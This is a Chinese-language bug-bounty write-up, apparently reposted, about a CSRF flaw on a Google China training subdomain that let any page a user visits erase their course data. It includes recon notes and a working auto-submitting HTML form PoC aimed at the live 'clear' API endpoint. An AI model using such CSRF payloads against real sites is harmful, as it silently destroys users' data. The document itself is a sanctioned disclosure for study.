实战 | 谷歌CSRF漏洞挖掘：可删用户数据的漏洞实战案例思路分享

最新推荐文章于 2026-07-27 12:10:35 发布

原创最新推荐文章于 2026-07-27 12:10:35 发布 · 667 阅读

5 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

收录于

src漏洞挖掘

文章来源：【白帽攻防录公众号】，本文已经通过原文作者授权，版权归原作者所有，如需转载请声明出处。

原文链接：谷歌CSRF漏洞挖掘：可删用户数据的漏洞实战案例思路分享

0x01 前言

本文是本人于前两年在谷歌业务发现的漏洞思路，漏洞已经获得谷歌团队许可公开分享，本文仅做漏洞技术思路分享。平台漏洞原文记录链接如下，感兴趣可以去看看：

https://bughunters.google.com/reports/vrp/XWTAskrht

0x02 漏洞挖掘思路

先通过信息收集，发现谷歌在中国业务有以下的域名资产


googlecnapps.cn

通过子域名收集发现

存在以下子域名

https://exporteducationprogram.googlecnapps.cn/training/home

访问该业务，登录后，发现存在删除用户数据内容功能

抓包，点击删除数据

发现没有做csrf漏洞攻击的限制，生成poc代码，实现其他用户加载这个页面就自动请求这个删除用户数据的接口

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://exporteducationprogram.googlecnapps.cn/appacademy/api/clear" method="POST">
    <input id="submit0" type="submit" value="Submit request" />
      <script> window.onload=function(){
                document.getElementById("submit0").click();
                }     
        </script>
		 </form>
</html>

漏洞利用场景及危害

用户访问部署poc的页面即可删除用户数据，如课程学习进度数据在本网站将被删除，会给用户带来不好的体验。